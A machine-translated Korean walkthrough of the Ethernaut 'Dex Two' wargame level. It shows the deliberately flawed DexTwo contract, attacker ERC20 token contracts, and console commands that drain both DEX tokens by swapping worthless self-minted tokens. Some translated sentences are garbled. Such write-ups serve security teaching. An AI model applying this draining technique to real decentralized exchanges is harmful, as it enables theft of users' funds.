Ethernaut: 23. 덱스 2
16836 단어 ethereumopenzeppelinsecuritysolidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
contract DexTwo is Ownable {
using SafeMath for uint;
address public token1;
address public token2;
constructor() public {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function add_liquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
여기에 이전 수준과 유사한 또 다른 DEX가 있지만 두 토큰이 모두 고갈되어야 합니다.
swap
함수에는 미묘하지만 중요한 차이점이 하나 있는데, 토큰 주소의 유효성을 확인하지 않는다는 것입니다! 이전 항목에서는 require
및 from
토큰이 모두 DEX가 담당하는 토큰인지 확인하는 to
문이 있었습니다. 이것은 우리에게 공격에 대한 아이디어를 제공하고, 우리 자신의 토큰을 생성하고 어떻게든 토큰의 DEX를 소모하는 데 사용합니다.다시 말하지만, 우리는 각 토큰이 10개이고 DEX는 각각 100개입니다. 우리는 토큰 3과 토큰 4를 생성하고 DEX가 각각 100개를 갖도록 할 것입니다. 그런 다음 다음 거래를 수행합니다.
to
와 from
토큰의 DEX 잔액이 동일하므로 스왑 금액은 우리가 설정한 금액과 동일합니다. to
와 from
토큰의 DEX 잔액이 동일하므로 스왑 금액은 우리가 설정한 금액과 동일합니다. 이렇게 하면 가치가 없고 임의로 생성된 토큰으로 인해 토큰이 고갈됩니다! Remix를 사용하여 다음을 생성합니다Token 4.
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";
contract MyToken3 is ERC20 {
constructor() ERC20("MyToken3", "MT3") {
_mint(msg.sender, 1000);
}
}
contract MyToken4 is ERC20 {
constructor() ERC20("MyToken4", "MT4") {
_mint(msg.sender, 1000);
}
}
토큰을 배포한 후 DEX 주소로 각 토큰 100개를 전송하고 두 토큰 모두 DEX에 100개를 허용합니다. 실제 거래는 다음과 같습니다.
// settings
const amount = 100
const T1 = await contract.token1()
const T2 = await contract.token2()
const T3 = "0xF25aEe0A68c3EC602F0bDD9E45F062dF611F774B" // my Token 3
const T4 = "0xc975954d79412d58746240c536220192485AECBB" // my Token 4
// deplete Token 1
// DEX must have 'amount' T3, and also 'amount' allowance to take T3 from you
await contract.swap(T3, T1, amount)
// deplete Token 2
// DEX must have 'amount' T4, and also 'amount' allowance to take T4 from you
await contract.swap(T4, T2, amount)
고갈을 확인하려면 잔액을 확인하십시오.
(await contract.balanceOf(await contract.token1(), contract.address)).toNumber()
(await contract.balanceOf(await contract.token2(), contract.address)).toNumber()
그게 다야!
Reference
이 문제에 관하여(Ethernaut: 23. 덱스 2), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/erhant/ethernaut-23-dex-two-i1o텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)